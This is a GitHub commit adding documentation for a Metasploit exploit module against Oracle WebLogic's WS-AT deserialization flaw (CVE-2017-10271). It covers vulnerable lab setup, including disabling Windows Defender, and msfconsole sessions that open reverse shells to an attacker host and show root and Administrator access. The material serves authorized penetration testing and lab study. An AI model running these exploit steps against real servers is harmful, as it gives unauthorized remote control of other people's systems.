Skip to content

Commit 7b01785

Browse files
kkirschekkirsche
authored
Add documentation to pull request
Added credit to @asoto-r7 for the documentation
1 parent c7d3b5d commit 7b01785

File tree

1 file changed

+95
-0
lines changed

1 file changed

+95
-0
lines changed

‎documentation/modules/exploit/multi/http/oracle_weblogic_wsat_deserialization_rce.md

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
# Description
2+
3+
This module works leverages [CVE-2017-10271](https://nvd.nist.gov/vuln/detail/CVE-2017-10271) against Oracle WebLogic Server's Web Service Atomic Transaction API a XML SOAP request to create a `java.lang.ProcessBuilder` object to provide unauthenticated arbitrary command execution. A command line can be acquired through the use of `cmd/unix/reverse_python`.
4+
5+
Note that the TARGET must be set to match either a Windows or Unix-based host. If the TARGET variable is set improperly, a log entry will be generated on a vulnerable server, but the server will not crash. For example, a Linux payload sent to a Windows server will output:
6+
7+
```
8+
java.io.IOException: Cannot run program "/bin/sh": CreateProcess error=2, The system cannot find the file specified
9+
Continuing ...
10+
```
11+
12+
# Vulnerable Application
13+
14+
Oracle WebLogic server versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0 with access to Web Services Atomic Transaction (WS-AT) endpoints are vulnerable to unauthenticated arbitrary command execution.
15+
16+
### Windows: Setting up a vulnerable application
17+
18+
We successfully tested this exploit against a fully-patched, Windows 10 (x64) target. Since WebLogic is resource intensive, consider providing four cores and 8GB of RAM.
19+
20+
1. [Download](http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html) Oracle WebLogic Server 10.3.6, using the "Windows x86 with 32-bit JVM" (`wls1036_win32.exe`).
21+
2. Run the installer. (See [here] for detailed instructions.) You may be prompted to install a Java Development Kit (JDK). [JDK 8u151 x64](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) was verified working.
22+
3. Windows Defender will block the payload from executing, so you may need to [temporarily](https://support.microsoft.com/en-us/help/4027187/windows-turn-off-windows-defender-antivirus) or [permanently](https://www.windowscentral.com/how-permanently-disable-windows-defender-windows-10) disable it.
23+
4. Run the configuration wizard and [create a new weblogic domain](https://docs.oracle.com/cd/E29542_01/web.1111/e14140/newdom.htm#WLDCW192). Domain names and credentials are irrelevant. At the conclusion of the wizard, click "Start Admin Server".
24+
5. The `startWebLogic.cmd` should run immediately after the installer and present logging output. Once running, the window should output a line similar to the following
25+
```
26+
<Jan 11, 2018 1:30:49 PM CST> <Notice> <WebLogicServer> <BEA-000365> <Server state changed to RUNNING>
27+
<Jan 11, 2018 1:30:49 PM CST> <Notice> <WebLogicServer> <BEA-000360> <Server started in RUNNING mode>
28+
```
29+
30+
### Windows: Attacking a vulnerable application
31+
32+
Attack the above Windows server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`:
33+
34+
```
35+
msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
36+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of your target]
37+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 0
38+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/windows/reverse_powershell
39+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of your attacker]
40+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run
41+
42+
[*] Started reverse TCP handler on 192.168.108.1:4444
43+
[*] Command shell session 1 opened (192.168.108.1:4444 -> 192.168.108.132:50060) at 2018-01-11 11:48:16 -0600
44+
45+
Microsoft Windows [Version 10.0.16299.192]
46+
(c) 2017 Microsoft Corporation. All rights reserved.
47+
48+
C:\Oracle\Middleware\user_projects\domains\admindomain>whoami
49+
weblogic-server\Administrator
50+
```
51+
52+
### Unix: Setting up a vulnerable environment
53+
54+
1. If necessary, install Docker.io. [These instructions](https://www.ptrace-security.com/2017/06/14/how-to-install-docker-on-kali-linux-2017-1/) were tested on a Kali 2017.3 VM:
55+
56+
```
57+
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
58+
echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.list
59+
apt update
60+
apt-get install docker-engine
61+
service docker start
62+
docker run hello-world
63+
```
64+
65+
2. Install a container running Ubuntu 16.04 and WebLogic 10.3.6.0:
66+
```
67+
docker run -d -p7001:7001 -p80:7001 kkirsche/cve-2017-10271
68+
```
69+
70+
3. Confirm that the container is up.
71+
```
72+
docker ps
73+
```
74+
75+
### Unix: Attacking a vulnerable application
76+
77+
Attack the above Unix server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`:
78+
79+
```
80+
msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
81+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of the target]
82+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 1
83+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/unix/reverse_python
84+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of the attacker]
85+
msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run
86+
87+
[*] Started reverse TCP handler on 192.168.108.1:4444
88+
[*] Command shell session 5 opened (192.168.108.1:4444 -> 192.168.108.129:51312) at 2018-01-11 11:46:49 -0600
89+
90+
id
91+
uid=0(root) gid=0(root) groups=0(root)
92+
```
93+
94+
# Credits
95+
Documentation originally written by Aaron Soto (@asoto-r7) and was edited by Kevin Kirsche (@kkirsche).

0 commit comments

Comments
 (0)